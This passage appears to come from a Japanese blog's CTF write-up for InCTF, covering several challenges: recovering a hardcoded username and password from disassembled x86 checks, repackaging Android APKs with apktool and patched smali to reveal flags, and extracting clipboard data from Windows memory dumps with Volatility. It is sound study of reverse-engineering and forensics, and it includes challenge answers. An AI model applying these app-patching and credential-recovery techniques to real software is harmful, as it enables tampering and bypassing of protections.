  1b:	bf 73 74 72 61       	mov    edi,0x61727473
  20:	39 fa                	cmp    edx,edi
  22:	75 10                	jne    0x34
  24:	bf 74 6f 72 00       	mov    edi,0x726f74
  29:	39 fe                	cmp    esi,edi
  2b:	75 07                	jne    0x34
  2d:	b8 01 00 00 00       	mov    eax,0x1
  32:	eb 05                	jmp    0x39
  34:	b8 00 00 00 00       	mov    eax,0x0

そのままです。ユーザ名は iamtheadministrator であることが分かりました。

パスワードの方も逆アセンブルしてみます。

   0:	81 c6 69 61 6d 74    	add    esi,0x746d6169
   6:	81 c6 07 06 05 04    	add    esi,0x4050607
   c:	81 fe d3 d6 e0 df    	cmp    esi,0xdfe0d6d3
  12:	75 55                	jne    0x69
  14:	40                   	inc    eax
  15:	81 c3 68 65 61 64    	add    ebx,0x64616568
  1b:	81 c3 03 02 01 00    	add    ebx,0x10203
  21:	81 fb dd db dc 98    	cmp    ebx,0x98dcdbdd
  27:	75 40                	jne    0x69
  29:	40                   	inc    eax
  2a:	81 c1 6d 69 6e 69    	add    ecx,0x696e696d
  30:	81 c1 0f 0e 0d 0c    	add    ecx,0xc0d0e0f
  36:	81 f9 f0 df e0 e5    	cmp    ecx,0xe5e0dff0
  3c:	75 2b                	jne    0x69
  3e:	40                   	inc    eax
  3f:	81 c2 73 74 72 61    	add    edx,0x61727473
  45:	81 c2 0b 0a 09 08    	add    edx,0x8090a0b
  4b:	81 fa df f1 9f e0    	cmp    edx,0xe09ff1df
  51:	75 16                	jne    0x69
  53:	40                   	inc    eax
  54:	81 c5 74 6f 72 00    	add    ebp,0x726f74
  5a:	81 c5 17 16 15 00    	add    ebp,0x151617
  60:	81 fd bb f7 cb 00    	cmp    ebp,0xcbf7bb
  66:	75 01                	jne    0x69
  68:	40                   	inc    eax

''.join(hex(x)[2:].replace('L', '').decode('hex')[::-1] for x in [0xdfe0d6d3 - 0x746d6169 - 0x4050607, 0x98dcdbdd - 0x64616568 - 0x10203, 0xe5e0dff0 - 0xc0d0e0f - 0x696e696d, 0xe09ff1df - 0x61727473 - 0x8090a0b, 0xcbf7bb - 0x151617 - 0x726f74])congrtz4thepas$w0rD がパスワードであると分かりました。

得られたユーザ名とパスワードを入力すると、congrtz4thepas$w0rD.html に遷移しフラグが得られました。

inctf{l1ck_l1ck_l1ck_my_j5}

[Mobile 150] Rev

Droid150.apk という Android のパッケージファイルが与えられました。

ZIP として展開し、classes.dexdex2jar で jar に変換して JD-GUI に投げると、com.amrita.bi0s.rev/MainActivity.class を以下のようにデコンパイルできました。

package com.amrita.bi0s.rev;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity
  extends AppCompatActivity
  implements View.OnClickListener
{
  static
  {
    System.loadLibrary("native-lib");
  }
  
  public void onClick(View paramView)
  {
    ((TextView)findViewById(2131165299)).setText("Not that easy! ;)");
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131296283);
    ((Button)findViewById(2131165217)).setOnClickListener(this);
  }
  
  public native String stringFromJNI();
}

stringFromJNI() の結果を TextView に出力させるように変更してしまいましょう。

apktool で apk を展開し、smali/com/amrita/bi0s/rev/MainActivity.smali を以下のように変更して apk を再構築するとフラグが得られました。

    .line 31
    .local v0, "tv":Landroid/widget/TextView;

    invoke-virtual {p0}, Lcom/amrita/bi0s/rev/MainActivity;->stringFromJNI()Ljava/lang/String;
    move-result-object v1

inctf{3as13r_7han_7h3_n3x7}

inctf{3as13r_7han_7h3_n3x7}

[Mobile 350] Tesseract

Droid350.apk という Android のパッケージファイルが与えられました。

ZIP として展開し、classes.dexdex2jar で jar に変換して JD-GUI に投げると、com.amrita.bi0s.tesseract/MainActivity.class を以下のようにデコンパイルできました。

package com.amrita.bi0s.tesseract;

import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity
  extends AppCompatActivity
  implements View.OnClickListener
{
  static final String ACTION_FLAGGER = "com.amrita.bi0s.tesseract.action.FLAGGER";
  
  static
  {
    System.loadLibrary("native-lib");
  }
  
  void flagSender()
  {
    Object localObject = ((EditText)findViewById(2131165288)).getText().toString();
    if (new String(new char[] { 55, 104, 51, 115, 51, 99, 114, 51, 116 }).equals(localObject))
    {
      Toast.makeText(this, "That's right! I've sent your Tesseract :)", 1).show();
      localObject = new Intent("com.amrita.bi0s.tesseract.action.FLAGGER");
      ((Intent)localObject).putExtra("android.intent.extra.TEXT", stringFromJNI());
      ((Intent)localObject).setType("text/plain");
      startActivity((Intent)localObject);
      return;
    }
    Toast.makeText(this, "That's not right! Aborting mission!", 1).show();
  }
  
  public void onClick(View paramView)
  {
    flagSender();
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131296283);
    paramBundle = (TextView)findViewById(2131165268);
    ((Button)findViewById(2131165219)).setOnClickListener(this);
  }
  
  public native String stringFromJNI();
}

7h3s3cr3t がパスワードのようです。早速アプリを開いて入力してみたものの、落ちてしまいました。

adb logcat で見てみると、以下のようなログが見つかりました。

...
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500] JNI DETECTED ERROR IN APPLICATION: input is not valid Modified UTF-8: illegal continuation byte 0xa
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500]     string: 'aW5jdGZ7MW50M250c19zYXYzZF83aDNfdzByMWR9...'
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500]
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500]     input: '0x61 0x57 0x35 0x6a 0x64 0x47 0x5a 0x37 0x4d 0x57 0x35 0x30 0x4d 0x32 0x35 0x30 0x63 0x31 0x39 0x7a 0x59 0x58 0x59 0x7a 0x5a 0x46 0x38 0x33 0x61 0x44 0x4e 0x66 0x64 0x7a 0x42 0x79 0x4d 0x57 0x52 0x39 0x20 0xf3 0xa8 <0x0a> 0x2d 0xc9 0x41 0x90 0x88 0xe4 0x93 0xbf 0x0c'
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500]     in call to NewStringUTF
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500]     from java.lang.String com.amrita.bi0s.tesseract.MainActivity.stringFromJNI()
12-17 01:15:10.778  3969  3969 F zygote  : runtime.cc:500] "main" prio=5 tid=1 Runnable
1
...

aW5jdGZ7MW50M250c19zYXYzZF83aDNfdzByMWR9 を Base64 デコードするとフラグが得られました。

inctf{1nt3nts_sav3d_7h3_w0r1d}

[Forensics 100] Divine Comedy

chal.dmp という Windows のメモリダンプのファイルが与えられました。

Volatility でクリップボードに入っている内容を取得してみます。

$ vol.py --profile=Win7SP1x86 -f chal.dmp clipboard
Volatility Foundation Volatility Framework 2.5
Session    WindowStation Format                 Handle Object     Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
         1 WinSta0       CF_UNICODETEXT       0x560195 0xfe9f3d58 D'`;@^!J<5GzW16wv@cO0<Mo...H(h&}|#z@~}|{t:rwpotm3~
...
$ vol.py -f chal.dmp --profile=Win7SP1x86 clipboard -v
Volatility Foundation Volatility Framework 2.5
Session    WindowStation Format                 Handle Object     Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
         1 WinSta0       CF_UNICODETEXT       0x560195 0xfe9f3d58 D'`;@^!J<5GzW16wv@cO0<Mo...H(h&}|#z@~}|{t:rwpotm3~
0xfe9f3d64  44 00 27 00 60 00 3b 00 40 00 5e 00 21 00 4a 00   D.'.`.;.@.^.!.J.
0xfe9f3d74  3c 00 35 00 47 00 7a 00 57 00 31 00 36 00 77 00   <.5.G.z.W.1.6.w.
0xfe9f3d84  76 00 40 00 63 00 4f 00 30 00 3c 00 4d 00 6f 00   v.@.c.O.0.<.M.o.
0xfe9f3d94  6d 00 49 00 6b 00 5a 00 35 00 45 00 68 00 43 00   m.I.k.Z.5.E.h.C.
0xfe9f3da4  55 00 7b 00 40 00 62 00 61 00 3d 00 60 00 75 00   U.{.@.b.a.=.`.u.
0xfe9f3db4  29 00 5d 00 78 00 5a 00 70 00 75 00 6e 00 73 00   ).].x.Z.p.u.n.s.
0xfe9f3dc4  6c 00 32 00 70 00 6f 00 51 00 67 00 6c 00 65 00   l.2.p.o.Q.g.l.e.
0xfe9f3dd4  64 00 63 00 29 00 61 00 49 00 65 00 64 00 63 00   d.c.).a.I.e.d.c.
0xfe9f3de4  5c 00 22 00 60 00 59 00 5e 00 5d 00 5c 00 5b 00   \.".`.Y.^.].\.[.
0xfe9f3df4  54 00 78 00 52 00 51 00 56 00 4f 00 4e 00 4d 00   T.x.R.Q.V.O.N.M.
0xfe9f3e04  71 00 51 00 4a 00 4f 00 4e 00 4d 00 46 00 4b 00   q.Q.J.O.N.M.F.K.
0xfe9f3e14  4a 00 43 00 67 00 47 00 40 00 3f 00 63 00 3d 00   J.C.g.G.@.?.c.=.
0xfe9f3e24  3c 00 3b 00 40 00 39 00 5d 00 3d 00 7d 00 35 00   <.;.@.9.].=.}.5.
0xfe9f3e34  59 00 39 00 38 00 37 00 36 00 76 00 2e 00 33 00   Y.9.8.7.6.v...3.
0xfe9f3e44  2c 00 50 00 30 00 70 00 6f 00 2d 00 26 00 2b 00   ,.P.0.p.o.-.&.+.
0xfe9f3e54  24 00 29 00 22 00 46 00 26 00 66 00 24 00 7b 00   $.).".F.&.f.$.{.
0xfe9f3e64  7a 00 79 00 3f 00 60 00 5f 00 7b 00 74 00 79 00   z.y.?.`._.{.t.y.
0xfe9f3e74  72 00 77 00 70 00 36 00 57 00 73 00 72 00 71 00   r.w.p.6.W.s.r.q.
0xfe9f3e84  70 00 69 00 2f 00 50 00 6c 00 65 00 6a 00 63 00   p.i./.P.l.e.j.c.
0xfe9f3e94  29 00 4a 00 49 00 65 00 5e 00 24 00 5c 00 61 00   ).J.I.e.^.$.\.a.
0xfe9f3ea4  5a 00 59 00 58 00 57 00 7b 00 5b 00 54 00 3c 00   Z.Y.X.W.{.[.T.<.
0xfe9f3eb4  52 00 51 00 56 00 4f 00 73 00 53 00 52 00 51 00   R.Q.V.O.s.S.R.Q.
0xfe9f3ec4  33 00 4f 00 4e 00 4d 00 46 00 6a 00 4a 00 49 00   3.O.N.M.F.j.J.I.
0xfe9f3ed4  48 00 47 00 29 00 3f 00 63 00 43 00 3c 00 24 00   H.G.).?.c.C.<.$.
0xfe9f3ee4  3a 00 3f 00 3e 00 37 00 36 00 5a 00 34 00 7a 00   :.?.>.7.6.Z.4.z.
0xfe9f3ef4  32 00 56 00 30 00 35 00 34 00 2d 00 2c 00 2b 00   2.V.0.5.4.-.,.+.
0xfe9f3f04  4f 00 70 00 2e 00 27 00 26 00 2b 00 2a 00 23 00   O.p...'.&.+.*.#.
0xfe9f3f14  47 00 68 00 26 00 25 00 7c 00 42 00 7a 00 21 00   G.h.&.%.|.B.z.!.
0xfe9f3f24  7e 00 77 00 76 00 3c 00 7a 00 79 00 78 00 77 00   ~.w.v.<.z.y.x.w.
0xfe9f3f34  70 00 6f 00 74 00 6d 00 33 00 6b 00 53 00 69 00   p.o.t.m.3.k.S.i.
0xfe9f3f44  2f 00 67 00 4f 00 6b 00 6a 00 69 00 68 00 61 00   /.g.O.k.j.i.h.a.
0xfe9f3f54  27 00 5f 00 47 00 63 00 62 00 61 00 5a 00 7e 00   '._.G.c.b.a.Z.~.
0xfe9f3f64  41 00 40 00 56 00 7a 00 54 00 3c 00 52 00 51 00   A.@.V.z.T.<.R.Q.
0xfe9f3f74  56 00 4f 00 73 00 53 00 35 00 34 00 4a 00 49 00   V.O.s.S.5.4.J.I.
0xfe9f3f84  6d 00 4d 00 4c 00 4b 00 44 00 49 00 42 00 66 00   m.M.L.K.D.I.B.f.
0xfe9f3f94  46 00 28 00 44 00 3d 00 3c 00 3b 00 5f 00 22 00   F.(.D.=.<.;._.".
0xfe9f3fa4  3e 00 3d 00 36 00 5a 00 3a 00 33 00 38 00 31 00   >.=.6.Z.:.3.8.1.
0xfe9f3fb4  55 00 76 00 75 00 2d 00 32 00 2b 00 4f 00 70 00   U.v.u.-.2.+.O.p.
0xfe9f3fc4  2e 00 27 00 26 00 2b 00 24 00 48 00 28 00 68 00   ..'.&.+.$.H.(.h.
0xfe9f3fd4  26 00 7d 00 7c 00 23 00 7a 00 40 00 7e 00 7d 00   &.}.|.#.z.@.~.}.
0xfe9f3fe4  7c 00 7b 00 74 00 3a 00 72 00 77 00 70 00 6f 00   |.{.t.:.r.w.p.o.
0xfe9f3ff4  74 00 6d 00 33 00 7e 00 00 00                     t.m.3.~...
...

問題文には

Hint 1: 8th circle of Hell

というようなヒントがあります。ググってみると Malebolge がヒットしました。どうやら Malbolge のプログラムのようです。

適当な Malbolge インタプリタでクリップボードの内容を実行するとフラグが得られました。

inctf{m4lb0lge_4nd_m3m0ry_dump_1s_4_gr34t_c0mb0}

[Forensics 100] Browse?

challenge.dmp という Windows のメモリダンプのファイルが与えられました。

Volatility でクリップボードに入っている内容を取得してみます。

$ vol.py --profile=Win7SP1x86 -f challenge.dmp clipboard -v
Volatility Foundation Volatility Framework 2.5
Session    WindowStation Format                 Handle Object     Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
         1 WinSta0       0xc009L              0x1002cb 0xfe090688
0xfe090694  00 00 00 00                                       ....
...
         1 WinSta0       CF_TEXT              0x1000f7 0xfdf1c168 SW5DVEZ7dGw1XzRuZF9tM20w...nlfdDB1NmhfdDBfY3I0Y2t9
0xfdf1c174  53 57 35 44 56 45 5a 37 64 47 77 31 58 7a 52 75   SW5DVEZ7dGw1XzRu
0xfdf1c184  5a 46 39 74 4d 32 30 77 63 6e 6c 66 4d 58 4e 66   ZF9tM20wcnlfMXNf
0xfdf1c194  62 6a 42 30 58 33 59 7a 63 6e 6c 66 64 44 42 31   bjB0X3YzcnlfdDB1
0xfdf1c1a4  4e 6d 68 66 64 44 42 66 59 33 49 30 59 32 74 39   NmhfdDBfY3I0Y2t9
0xfdf1c1b4  00
...

クリップボードの内容を Base64 デコードするとフラグが得られました。

InCTF{tl5_4nd_m3m0ry_1s_n0t_v3ry_t0u6h_t0_cr4ck}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳